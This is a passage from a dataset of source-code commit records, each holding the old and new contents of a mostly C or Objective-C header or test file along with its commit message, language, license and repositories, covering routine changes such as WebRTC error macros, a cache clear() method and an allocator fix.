UNREACHABLE()                                   \\\n  rtc::Fatal(__FILE__, __LINE__, \"unreachable code\")\n\n#endif  \/\/ WEBRTC_BASE_CHECKS_H_\n","new_contents":"\/*\n *  Copyright 2006 The WebRTC Project Authors. All rights reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n\/\/ This module contains some basic debugging facilities.\n\/\/ Originally comes from shared\/commandlineflags\/checks.h\n\n#ifndef WEBRTC_BASE_CHECKS_H_\n#define WEBRTC_BASE_CHECKS_H_\n\nnamespace rtc {\n\n\/\/ Prints an error message to stderr and aborts execution.\nvoid Fatal(const char* file, int line, const char* format, ...);\n\n}  \/\/ namespace rtc\n\n\/\/ Trigger a fatal error (which aborts the process and prints an error\n\/\/ message). FATAL_ERROR_IF may seem a lot like assert, but there's a crucial\n\/\/ difference: it's always \"on\". This means that it can be used to check for\n\/\/ regular errors that could actually happen, not just programming errors that\n\/\/ supposedly can't happen---but triggering a fatal error will kill the process\n\/\/ in an ugly way, so it's not suitable for catching errors that might happen\n\/\/ in production.\n#define FATAL_ERROR(msg) do { rtc::Fatal(__FILE__, __LINE__, msg); } while (0)\n#define FATAL_ERROR_IF(x) do { if (x) FATAL_ERROR(\"check failed\"); } while (0)\n\n\/\/ The UNREACHABLE macro is very useful during development.\n#define UNREACHABLE() FATAL_ERROR(\"unreachable code\")\n\n#endif  \/\/ WEBRTC_BASE_CHECKS_H_\n","subject":"Define convenient FATAL_ERROR() and FATAL_ERROR_IF() macros","message":"Define convenient FATAL_ERROR() and FATAL_ERROR_IF() macros\n\nR=henrike@webrtc.org\n\nReview URL: https:\/\/webrtc-codereview.appspot.com\/16079004\n\nCr-Mirrored-From: https:\/\/chromium.googlesource.com\/external\/webrtc\nCr-Mirrored-Commit: 0fa6366ed15f48b3ec227987f21f339180fb4936\n","lang":"C","license":"bsd-3-clause","repos":"sippet\/webrtc,sippet\/webrtc,sippet\/webrtc,sippet\/webrtc,sippet\/webrtc,sippet\/webrtc"}
{"commit":"3237da3e1b6e77b6d8505bc5941497f63968226b","old_file":"Common\/ErrorCodes.h","new_file":"Common\/ErrorCodes.h","old_contents":"\/*\n<License>\nCopyright 2015 Virtium Technology\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp :\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n<\/License>\n*\/\n#ifndef __ErrorCodes_h__\n#define __ErrorCodes_h__\n\nnamespace vtStor\n{\n\nenum eErrorCode\n{\n    None = 0,\n    Unknown,\n    Memory,\n    Io,\n};\n\nenum eOnErrorBehavior\n{\n    Stop = 0,\n    Continue,\n};\n\n}\n\n#endif __ErrorCodes_h__","new_contents":"\/*\n<License>\nCopyright 2015 Virtium Technology\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp :\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n<\/License>\n*\/\n#ifndef __ErrorCodes_h__\n#define __ErrorCodes_h__\n\nnamespace vtStor\n{\n\nenum eErrorCode\n{\n    None = 0,\n    Unknown,\n    Memory,\n    Io,\n    Timeout,\n    NoSupport,\n    Invalid,\n};\n\nenum eOnErrorBehavior\n{\n    Stop = 0,\n    Continue,\n};\n\n}\n\n#endif __ErrorCodes_h__","subject":"Add enum values: Timeout, Invalid, NoSupport to eErrorCode","message":"Add enum values: Timeout, Invalid, NoSupport to eErrorCode\n","lang":"C","license":"apache-2.0","repos":"tranminhtam\/vtStor,tranminhtam\/vtStor,tranminhtam\/vtStor,tranminhtam\/vtStor"}
{"commit":"bce3c27bd9b4c8b415ec9301e33d93b5fe8f3705","old_file":"OrbitLinuxTracing\/Logging.h","new_file":"OrbitLinuxTracing\/Logging.h","old_contents":"#ifndef ORBIT_LINUX_TRACING_LOGGING_H_\n#define ORBIT_LINUX_TRACING_LOGGING_H_\n\n\/\/ TODO: Move logging to OrbitBase once we have clearer plans for such module.\n\n#include <cstdio>\n\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wgnu-zero-variadic-macro-arguments\"\n\n#define LOG(format, ...) fprintf(stderr, format \"\\n\", ##__VA_ARGS__)\n\n#define ERROR(format, ...) LOG(\"Error: \" format, ##__VA_ARGS__)\n\n#pragma clang diagnostic pop\n\n#endif  \/\/ ORBIT_LINUX_TRACING_LOGGING_H_\n","new_contents":"#ifndef ORBIT_LINUX_TRACING_LOGGING_H_\n#define ORBIT_LINUX_TRACING_LOGGING_H_\n\n\/\/ TODO: Move logging to OrbitBase once we have clearer plans for such module.\n\n#include <cstdio>\n\n#ifdef __clang__\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wgnu-zero-variadic-macro-arguments\"\n#endif\n\n#define LOG(format, ...) fprintf(stderr, format \"\\n\", ##__VA_ARGS__)\n\n#define ERROR(format, ...) LOG(\"Error: \" format, ##__VA_ARGS__)\n\n#ifdef __clang__\n#pragma clang diagnostic pop\n#endif\n\n#endif  \/\/ ORBIT_LINUX_TRACING_LOGGING_H_\n","subject":"Disable clang diagnostics pragma on windows","message":"Disable clang diagnostics pragma on windows\n\nUse clang diagnostics pragma only if it project is compiled with clang.\n\nBug: http:\/\/b\/150575491\nTest: ninja\n","lang":"C","license":"bsd-2-clause","repos":"google\/orbit,pierricgimmig\/orbitprofiler,google\/orbit,pierricgimmig\/orbitprofiler,pierricgimmig\/orbitprofiler,google\/orbit,pierricgimmig\/orbitprofiler,google\/orbit"}
{"commit":"55b09c3417ee963f59d42583e6d5e4b34fa4c856","old_file":"RecentlyUsedCache.h","new_file":"RecentlyUsedCache.h","old_contents":"\/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n#include <unordered_map>\n#include <string>\n#include <vector>\n\ntemplate <class T> class RingBuffer\n{\nprivate:\n    int currentIdx = 0;\n    int count;\n    std::vector<T> data;\npublic:\n    RingBuffer(int fixedSize) : count(fixedSize), data(count) {}\n\n    const T& at(int i) {\n        return data[(currentIdx - (i % count) + count) % count];\n    }\n\n    void add(const T& newValue) {\n        currentIdx = (currentIdx + 1) % count;\n        data[currentIdx] = newValue;\n    }\n\n    T oldest() {\n        return data[(currentIdx + 1) % count];\n    }\n};\n\ntemplate <class T> class RecentlyUsedCache\n{\nprivate:\n    RingBuffer<T> keysByAge = RingBuffer<T>(1000);\npublic:\n    std::unordered_map<std::string, T> data;\n\n    void add(const std::string& key, const T& value) {\n        std::string old = keysByAge.oldest();\n        if (!old.empty()) {\n            keysByAge.data.erase(old);\n        }\n        keysByAge[key] = value;\n    }\n};\n","new_contents":"\/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n#include <unordered_map>\n#include <string>\n#include <vector>\n\ntemplate <class T> class RingBuffer\n{\nprivate:\n    int currentIdx = 0;\n    int count;\n    std::vector<T> data;\npublic:\n    RingBuffer(int fixedSize) : count(fixedSize), data(count) {}\n\n    const T& at(int i) {\n        return data[(currentIdx - (i % count) + count) % count];\n    }\n\n    void add(const T& newValue) {\n        currentIdx = (currentIdx + 1) % count;\n        data[currentIdx] = newValue;\n    }\n\n    T oldest() {\n        return data[(currentIdx + 1) % count];\n    }\n\n    void clear() {\n        data = std::vector<T>(count);\n    }\n};\n\ntemplate <class T> class RecentlyUsedCache\n{\nprivate:\n    RingBuffer<T> keysByAge = RingBuffer<T>(1000);\npublic:\n    std::unordered_map<std::string, T> data;\n\n    void add(const std::string& key, const T& value) {\n        std::string old = keysByAge.oldest();\n        if (!old.empty()) {\n            keysByAge.data.erase(old);\n        }\n        keysByAge[key] = value;\n    }\n\n    void clear() {\n        data.clear();\n        keysByAge.clear();\n    }\n};\n","subject":"Add clear() functions to cache","message":"Add clear() functions to cache","lang":"C","license":"mpl-2.0","repos":"garvankeeley\/https-everywhere-cpp,garvankeeley\/https-everywhere-cpp"}
{"commit":"9149bd2c3a9a443367b31bc99c55b69cb60e920b","old_file":"IRKit\/IRKit\/IRHTTPJSONOperation.h","new_file":"IRKit\/IRKit\/IRHTTPJSONOperation.h","old_contents":"\/\/\n\/\/  IRHTTPJSONOperation.h\n\/\/  IRKit\n\/\/\n\/\/  Created by Masakazu Ohtsuka on 2013\/12\/02.\n\/\/\n\/\/\n\n#import \"ISHTTPOperation.h\"\n\n@interface IRHTTPJSONOperation : ISHTTPOperation\n\n\n@end\n","new_contents":"\/\/\n\/\/  IRHTTPJSONOperation.h\n\/\/  IRKit\n\/\/\n\/\/  Created by Masakazu Ohtsuka on 2013\/12\/02.\n\/\/\n\/\/\n\n\/\/ #import \"ISHTTPOperation.h\"\n@import ISHTTPOperation;\n\n@interface IRHTTPJSONOperation : ISHTTPOperation\n\n@end\n","subject":"Fix again error: include of non-modular header inside framework module","message":"Fix again error: include of non-modular header inside framework module\n","lang":"C","license":"mit","repos":"irkit\/ios-sdk"}
{"commit":"728f279f978e5699bb5ade33abb7779cb86b2fab","old_file":"BRFullTextSearch\/CLuceneSearchService.h","new_file":"BRFullTextSearch\/CLuceneSearchService.h","old_contents":"\/\/\n\/\/  CLuceneSearchService.h\n\/\/  BRFullTextSearch\n\/\/\n\/\/  Created by Matt on 6\/28\/13.\n\/\/  Copyright (c) 2013 Blue Rocket. Distributable under the terms of the Apache License, Version 2.0.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"BRSearchService.h\"\n\n@interface CLuceneSearchService : NSObject <BRSearchService>\n\n\/\/ after this many updates, perform an optimize for faster searches\n@property (nonatomic) NSInteger indexUpdateOptimizeThreshold;\n\n\/\/ the bundle to load resources such as stop words from; defaults to [NSBundle mainBundle];\n\/\/ the resource must be named \"stop-words.txt\"\n@property (nonatomic, strong) NSBundle *bundle;\n\n\/\/ the default language to use for text analyzers; defaults to \"en\"\n@property (nonatomic, strong ) NSString *defaultAnalyzerLanguage;\n\n- (id)initWithIndexPath:(NSString *)indexPath;\n\n\/\/ can call to reset the cached lucene::search::Searcher, to pick up changes to the index;\n\/\/ only thread safe if called from the main thread; only needed if after indexing you need\n\/\/ to search immediately from the main thread before the searcher is automatically reset on\n\/\/ the next main thread run loop execution.\n- (void)resetSearcher;\n\n\/\/ the NSUserDefaults key used to track the number of index updates between optimizations\n- (NSString *)userDefaultsIndexUpdateCountKey;\n\n@end\n","new_contents":"\/\/\n\/\/  CLuceneSearchService.h\n\/\/  BRFullTextSearch\n\/\/\n\/\/  Implementation of BRSearchService using CLucene. When indexing, only NSString, or\n\/\/  NSArray\/NSSet with NSString values, are supported as field values.\n\/\/\n\/\/  Created by Matt on 6\/28\/13.\n\/\/  Copyright (c) 2013 Blue Rocket. Distributable under the terms of the Apache License, Version 2.0.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"BRSearchService.h\"\n\n@interface CLuceneSearchService : NSObject <BRSearchService>\n\n\/\/ after this many updates, perform an optimize for faster searches\n@property (nonatomic) NSInteger indexUpdateOptimizeThreshold;\n\n\/\/ the bundle to load resources such as stop words from; defaults to [NSBundle mainBundle];\n\/\/ the resource must be named \"stop-words.txt\"\n@property (nonatomic, strong) NSBundle *bundle;\n\n\/\/ the default language to use for text analyzers; defaults to \"en\"\n@property (nonatomic, strong ) NSString *defaultAnalyzerLanguage;\n\n- (id)initWithIndexPath:(NSString *)indexPath;\n\n\/\/ can call to reset the cached lucene::search::Searcher, to pick up changes to the index;\n\/\/ only thread safe if called from the main thread; only needed if after indexing you need\n\/\/ to search immediately from the main thread before the searcher is automatically reset on\n\/\/ the next main thread run loop execution.\n- (void)resetSearcher;\n\n\/\/ the NSUserDefaults key used to track the number of index updates between optimizations\n- (NSString *)userDefaultsIndexUpdateCountKey;\n\n@end\n","subject":"Add note on supported field value types.","message":"Add note on supported field value types.\n","lang":"C","license":"apache-2.0","repos":"Blue-Rocket\/BRFullTextSearch,Blue-Rocket\/BRFullTextSearch,Blue-Rocket\/BRFullTextSearch,Blue-Rocket\/BRFullTextSearch"}
{"commit":"bd447ad74aca67de6ef3b3b203ee172f1bde19c0","old_file":"game\/ufopaedia\/ufopaediacategory.h","new_file":"game\/ufopaedia\/ufopaediacategory.h","old_contents":"#pragma once\n\n#include \"framework\/stage.h\"\n#include \"framework\/includes.h\"\n#include \"ufopaediaentry.h\"\n\nnamespace OpenApoc\n{\n\nclass UfopaediaCategory : public Stage \/\/ , public std::enable_shared_from_this<UfopaediaCategory>\n{\n  private:\n\tForm *menuform;\n\tStageCmd stageCmd;\n\n\tvoid SetCatOffset(int Direction);\n\n  public:\n\tUString ID;\n\tUString Title;\n\tUString BodyInformation;\n\tUString BackgroundImageFilename;\n\tstd::vector<std::shared_ptr<UfopaediaEntry>> Entries;\n\n\tint ViewingEntry;\n\n\tUfopaediaCategory(Framework &fw, tinyxml2::XMLElement *Element);\n\t~UfopaediaCategory();\n\n\t\/\/ Stage control\n\tvirtual void Begin() override;\n\tvirtual void Pause() override;\n\tvirtual void Resume() override;\n\tvirtual void Finish() override;\n\tvirtual void EventOccurred(Event *e) override;\n\tvirtual void Update(StageCmd *const cmd) override;\n\tvirtual void Render() override;\n\tvirtual bool IsTransition() override;\n\n\tvoid SetTopic(int Index);\n\tvoid SetupForm();\n\n\tvoid SetPrevCat();\n\tvoid SetNextCat();\n};\n}; \/\/ namespace OpenApoc\n","new_contents":"#pragma once\n\n#include \"framework\/stage.h\"\n#include \"framework\/includes.h\"\n#include \"ufopaediaentry.h\"\n\nnamespace OpenApoc\n{\n\nclass UfopaediaCategory : public Stage \/\/ , public std::enable_shared_from_this<UfopaediaCategory>\n{\n  private:\n\tForm *menuform;\n\tStageCmd stageCmd;\n\n\tvoid SetCatOffset(int Direction);\n\n  public:\n\tUString ID;\n\tUString Title;\n\tUString BodyInformation;\n\tUString BackgroundImageFilename;\n\tstd::vector<std::shared_ptr<UfopaediaEntry>> Entries;\n\n\tunsigned int ViewingEntry;\n\n\tUfopaediaCategory(Framework &fw, tinyxml2::XMLElement *Element);\n\t~UfopaediaCategory();\n\n\t\/\/ Stage control\n\tvirtual void Begin() override;\n\tvirtual void Pause() override;\n\tvirtual void Resume() override;\n\tvirtual void Finish() override;\n\tvirtual void EventOccurred(Event *e) override;\n\tvirtual void Update(StageCmd *const cmd) override;\n\tvirtual void Render() override;\n\tvirtual bool IsTransition() override;\n\n\tvoid SetTopic(int Index);\n\tvoid SetupForm();\n\n\tvoid SetPrevCat();\n\tvoid SetNextCat();\n};\n}; \/\/ namespace OpenApoc\n","subject":"Fix unsigned\/signed comparison in UfopaediaCategory::EventOccurred","message":"Fix unsigned\/signed comparison in UfopaediaCategory::EventOccurred\n","lang":"C","license":"mit","repos":"FranciscoDA\/OpenApoc,AndO3131\/OpenApoc,ShadowDancer\/OpenApoc,AndO3131\/OpenApoc,pmprog\/OpenApoc,pmprog\/OpenApoc,FranciscoDA\/OpenApoc,Istrebitel\/OpenApoc,steveschnepp\/OpenApoc,ShadowDancer\/OpenApoc,AndO3131\/OpenApoc,steveschnepp\/OpenApoc,FranciscoDA\/OpenApoc,Istrebitel\/OpenApoc"}
{"commit":"e54983694bc43a0f1a7ebb4ed0aeb78a1f2d36ab","old_file":"Alc\/backends\/base.h","new_file":"Alc\/backends\/base.h","old_contents":"","new_contents":"#ifndef AL_BACKENDS_BASE_H\n#define AL_BACKENDS_BASE_H\n\n#include \"alMain.h\"\n\n\nstruct ALCbackendVtable;\n\ntypedef struct ALCbackend {\n    const struct ALCbackendVtable *vtbl;\n\n    ALCdevice *mDevice;\n} ALCbackend;\n\nstruct ALCbackendVtable {\n    void (*const Destruct)(ALCbackend *state);\n\n    ALCenum (*const open)(ALCbackend*, const ALCchar*);\n    void (*const close)(ALCbackend*);\n\n    ALCboolean (*reset)(ALCbackend*);\n    ALCboolean (*start)(ALCbackend*);\n    void (*stop)(ALCbackend*);\n\n    ALint64 (*getLatency)(ALCbackend*);\n\n    void (*const Delete)(ALCbackend *state);\n};\n\n#define DEFINE_ALCBACKEND_VTABLE(T)                                           \\\nstatic void T##_ALCbackend_Destruct(ALCbackend *obj)                          \\\n{ T##_Destruct(STATIC_UPCAST(T, ALCbackend, obj)); }                          \\\nstatic ALCenum T##_ALCbackend_open(ALCbackend *obj, const ALCchar *p1)        \\\n{ return T##_open(STATIC_UPCAST(T, ALCbackend, obj), p1); }                   \\\nstatic void T##_ALCbackend_close(ALCbackend *obj)                             \\\n{ T##_close(STATIC_UPCAST(T, ALCbackend, obj)); }                             \\\nstatic ALCboolean T##_ALCbackend_reset(ALCbackend *obj)                       \\\n{ return T##_reset(STATIC_UPCAST(T, ALCbackend, obj)); }                      \\\nstatic ALCboolean T##_ALCbackend_start(ALCbackend *obj)                       \\\n{ return T##_start(STATIC_UPCAST(T, ALCbackend, obj)); }                      \\\nstatic void T##_ALCbackend_stop(ALCbackend *obj)                              \\\n{ T##_stop(STATIC_UPCAST(T, ALCbackend, obj)); }                              \\\nstatic ALint64 T##_ALCbackend_getLatency(ALCbackend *obj)                     \\\n{ return T##_getLatency(STATIC_UPCAST(T, ALCbackend, obj)); }                 \\\nstatic void T##_ALCbackend_Delete(ALCbackend *obj)                            \\\n{ T##_Delete(STATIC_UPCAST(T, ALCbackend, obj)); }                            \\\n                                                                              \\\nstatic const struct ALCbackendVtable T##_ALCbackend_vtable = {                \\\n    T##_ALCbackend_Destruct,                                                  \\\n                                                                              \\\n    T##_ALCbackend_open,                                                      \\\n    T##_ALCbackend_close,                                                     \\\n    T##_ALCbackend_reset,                                                     \\\n    T##_ALCbackend_start,                                                     \\\n    T##_ALCbackend_stop,                                                      \\\n    T##_ALCbackend_getLatency,                                                \\\n                                                                              \\\n    T##_ALCbackend_Delete,                                                    \\\n}\n\n\n#endif \/* AL_BACKENDS_BASE_H *\/\n","subject":"Add missing header to git","message":"Add missing header to git\n","lang":"C","license":"lgpl-2.1","repos":"mmozeiko\/OpenAL-Soft,alexxvk\/openal-soft,alexxvk\/openal-soft,mmozeiko\/OpenAL-Soft,arkana-fts\/openal-soft,franklixuefei\/openal-soft,BeamNG\/openal-soft,BeamNG\/openal-soft,irungentoo\/openal-soft-tox,Wemersive\/openal-soft,arkana-fts\/openal-soft,aaronmjacobs\/openal-soft,irungentoo\/openal-soft-tox,franklixuefei\/openal-soft,Wemersive\/openal-soft,aaronmjacobs\/openal-soft"}
{"commit":"de9b060c9e15245df187379f366894c83333bc6c","old_file":"src\/config_static.h","new_file":"src\/config_static.h","old_contents":"\/* -*- Mode: C++; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n *     Copyright 2010 NorthScale, Inc.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n *\/\n#ifndef CONFIG_STATIC_H\n#define CONFIG_STATIC_H 1\n\n\/* The intention of this file is to avoid cluttering the code with #ifdefs *\/\n#include <event.h>\n\n#if !defined(_EVENT_NUMERIC_VERSION) || _EVENT_NUMERIC_VERSION < 0x02000000\ntypedef int evutil_socket_t;\n#endif\n\n#ifndef DEFAULT_ERRORLOG\n#define DEFAULT_ERRORLOG ERRORLOG_STDERR\n#endif\n\n#if defined(WORDS_BIGENDIAN) && WORDS_BIGENDIAN > 1\n#define ENDIAN_BIG 1\n#else\n#define ENDIAN_LITTLE 1\n#endif\n\n#endif\n","new_contents":"\/* -*- Mode: C++; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n *     Copyright 2010 NorthScale, Inc.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n *\/\n#ifndef CONFIG_STATIC_H\n#define CONFIG_STATIC_H 1\n\n\/* The intention of this file is to avoid cluttering the code with #ifdefs *\/\n#include <event.h>\n\n#if (!defined(_EVENT_NUMERIC_VERSION) || _EVENT_NUMERIC_VERSION < 0x02000000) && !defined(WIN32)\ntypedef int evutil_socket_t;\n#endif\n\n#ifndef DEFAULT_ERRORLOG\n#define DEFAULT_ERRORLOG ERRORLOG_STDERR\n#endif\n\n#if defined(WORDS_BIGENDIAN) && WORDS_BIGENDIAN > 1\n#define ENDIAN_BIG 1\n#else\n#define ENDIAN_LITTLE 1\n#endif\n\n#endif\n","subject":"Fix event test for win32","message":"Fix event test for win32\n\nChange-Id: I74011ed8cdebaf1771bbaadf4c1eba559f240448\nReviewed-on: http:\/\/review.couchbase.org\/34772\nReviewed-by: Trond Norbye <60edd2ef23891a753f231b0c6f161dc634079a93@gmail.com>\nTested-by: Trond Norbye <60edd2ef23891a753f231b0c6f161dc634079a93@gmail.com>\n","lang":"C","license":"bsd-3-clause","repos":"couchbase\/moxi,membase\/moxi,membase\/moxi,couchbase\/moxi,membase\/moxi,couchbase\/moxi,couchbase\/moxi,membase\/moxi,couchbase\/moxi,membase\/moxi,couchbase\/moxi,membase\/moxi"}
{"commit":"f735e804814b28ef6f6db39aabab61a3566dc237","old_file":"sys\/ia64\/include\/smp.h","new_file":"sys\/ia64\/include\/smp.h","old_contents":"\/*\n * $FreeBSD$\n *\/\n#ifndef _MACHINE_SMP_H_\n#define _MACHINE_SMP_H_\n\n#ifdef _KERNEL\n\n\/*\n * Interprocessor interrupts for SMP. The following values are indices\n * into the IPI vector table. The SAL gives us the vector used for AP\n * wake-up. Keep the IPI_AP_WAKEUP at index 0.\n *\/\n#define\tIPI_AP_WAKEUP\t\t0\n#define\tIPI_AST\t\t\t1\n#define\tIPI_CHECKSTATE\t\t2\n#define\tIPI_INVLTLB\t\t3\n#define\tIPI_RENDEZVOUS\t\t4\n#define\tIPI_STOP\t\t5\n\n#define\tIPI_COUNT\t\t6\n\n#ifndef LOCORE\n\nextern int mp_hardware;\nextern int mp_ipi_vector[];\n\nvoid\tipi_all(int ipi);\nvoid\tipi_all_but_self(int ipi);\nvoid\tipi_selected(u_int64_t cpus, int ipi);\nvoid\tipi_self(int ipi);\n\n#endif \/* !LOCORE *\/\n#endif \/* _KERNEL *\/\n#endif \/* !_MACHINE_SMP_H *\/\n","new_contents":"\/*\n * $FreeBSD$\n *\/\n#ifndef _MACHINE_SMP_H_\n#define _MACHINE_SMP_H_\n\n#ifdef _KERNEL\n\n\/*\n * Interprocessor interrupts for SMP. The following values are indices\n * into the IPI vector table. The SAL gives us the vector used for AP\n * wake-up. Keep the IPI_AP_WAKEUP at index 0.\n *\/\n#define\tIPI_AP_WAKEUP\t\t0\n#define\tIPI_AST\t\t\t1\n#define\tIPI_CHECKSTATE\t\t2\n#define\tIPI_INVLTLB\t\t3\n#define\tIPI_RENDEZVOUS\t\t4\n#define\tIPI_STOP\t\t5\n#define\tIPI_TEST\t\t6\n\n#define\tIPI_COUNT\t\t7\n\n#ifndef LOCORE\n\nextern int mp_hardware;\nextern int mp_ipi_vector[];\n\nvoid\tipi_all(int ipi);\nvoid\tipi_all_but_self(int ipi);\nvoid\tipi_selected(u_int64_t cpus, int ipi);\nvoid\tipi_self(int ipi);\n\n#endif \/* !LOCORE *\/\n#endif \/* _KERNEL *\/\n#endif \/* !_MACHINE_SMP_H *\/\n","subject":"Add an IPI used for testing proper operation of delivering IPIs.","message":"Add an IPI used for testing proper operation of delivering IPIs.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"8ff86df042ea13514cc3682895b06a1106c29d36","old_file":"test\/tsan\/thread_exit.c","new_file":"test\/tsan\/thread_exit.c","old_contents":"\/\/ RUN: %clang_tsan -O1 %s -o %t && %run %t 2>&1 | FileCheck %s\n\n\/\/ Crashes on powerpc64be\n\/\/ XFAIL: target-is-powerpc64be\n\n#include \"test.h\"\n\nint var;\n\nvoid *Thread(void *x) {\n  pthread_exit(&var);\n  return 0;\n}\n\nint main() {\n  pthread_t t;\n  pthread_create(&t, 0, Thread, 0);\n  void *retval = 0;\n  pthread_join(t, &retval);\n  if (retval != &var) {\n    fprintf(stderr, \"Unexpected return value\\n\");\n    exit(1);\n  }\n  fprintf(stderr, \"PASS\\n\");\n  return 0;\n}\n\n\/\/ CHECK-NOT: WARNING: ThreadSanitizer:\n\/\/ CHECK: PASS\n","new_contents":"\/\/ RUN: %clang_tsan -O1 %s -o %t && %run %t 2>&1 | FileCheck %s\n\n\/\/ Crashes on powerpc64be\n\/\/ UNSUPPORTED: powerpc64\n\n#include \"test.h\"\n\nint var;\n\nvoid *Thread(void *x) {\n  pthread_exit(&var);\n  return 0;\n}\n\nint main() {\n  pthread_t t;\n  pthread_create(&t, 0, Thread, 0);\n  void *retval = 0;\n  pthread_join(t, &retval);\n  if (retval != &var) {\n    fprintf(stderr, \"Unexpected return value\\n\");\n    exit(1);\n  }\n  fprintf(stderr, \"PASS\\n\");\n  return 0;\n}\n\n\/\/ CHECK-NOT: WARNING: ThreadSanitizer:\n\/\/ CHECK: PASS\n","subject":"Remove debug logging and disable test on ppc64be","message":"[tsan] Remove debug logging and disable test on ppc64be\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@353624 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"e949bf64e01c9a2de41eb3a4479db0e58cd4caa6","old_file":"src\/allocator.c","new_file":"src\/allocator.c","old_contents":"\/* See LICENSE file for copyright and license details. *\/\n#include \"internals.h\"\n\n\nvoid\nlibzahl_realloc(z_t a, size_t need)\n{\n#if defined(__clang__) \/* https:\/\/llvm.org\/bugs\/show_bug.cgi?id=26930 *\/\n\tvolatile size_t j;\n#else\n# define j  i\n#endif\n\tsize_t i, x;\n\tzahl_char_t *new;\n\n\t\/* Find n such that n is a minimal power of 2 ≥ need. *\/\n\tif (likely((need & (~need + 1)) != need)) {\n\t\tneed |= need >> 1;\n\t\tneed |= need >> 2;\n\t\tneed |= need >> 4;\n\t\tfor (j = sizeof(need), x = 8; j; j >>= 1, x <<= 1)\n\t\t\tneed |= need >> x;\n\t\tneed += 1;\n\t}\n\n\ti = libzahl_msb_nz_zu(need);\n\n\tif (likely(libzahl_pool_n[i])) {\n\t\tlibzahl_pool_n[i]--;\n\t\tnew = libzahl_pool[i][libzahl_pool_n[i]];\n\t\tzmemcpy(new, a->chars, a->alloced);\n\t\tzfree(a);\n\t\ta->chars = new;\n\t} else {\n\t\ta->chars = realloc(a->chars, need * sizeof(zahl_char_t));\n\t\tif (!a->chars) {\n\t\t\tif (!errno) \/* sigh... *\/\n\t\t\t\terrno = ENOMEM;\n\t\t\tlibzahl_failure(errno);\n\t\t}\n\t}\n\ta->alloced = need;\n}\n","new_contents":"\/* See LICENSE file for copyright and license details. *\/\n#include \"internals.h\"\n\n\nvoid\nlibzahl_realloc(z_t a, size_t need)\n{\n\tsize_t i, x;\n\tzahl_char_t *new;\n\n\t\/* Find n such that n is a minimal power of 2 ≥ need. *\/\n\tif (likely((need & (~need + 1)) != need)) {\n\t\tneed |= need >> 1;\n\t\tneed |= need >> 2;\n\t\tneed |= need >> 4;\n\t\tfor (i = sizeof(need), x = 8; (i >>= 1); x <<= 1)\n\t\t\tneed |= need >> x;\n\t\tneed += 1;\n\t}\n\n\ti = libzahl_msb_nz_zu(need);\n\n\tif (likely(libzahl_pool_n[i])) {\n\t\tlibzahl_pool_n[i]--;\n\t\tnew = libzahl_pool[i][libzahl_pool_n[i]];\n\t\tzmemcpy(new, a->chars, a->alloced);\n\t\tzfree(a);\n\t\ta->chars = new;\n\t} else {\n\t\ta->chars = realloc(a->chars, need * sizeof(zahl_char_t));\n\t\tif (!a->chars) {\n\t\t\tif (!errno) \/* sigh... *\/\n\t\t\t\terrno = ENOMEM;\n\t\t\tlibzahl_failure(errno);\n\t\t}\n\t}\n\ta->alloced = need;\n}\n","subject":"Fix so that no workaround is required.","message":"Fix so that no workaround is required.\n\n  Thanks to Alexis 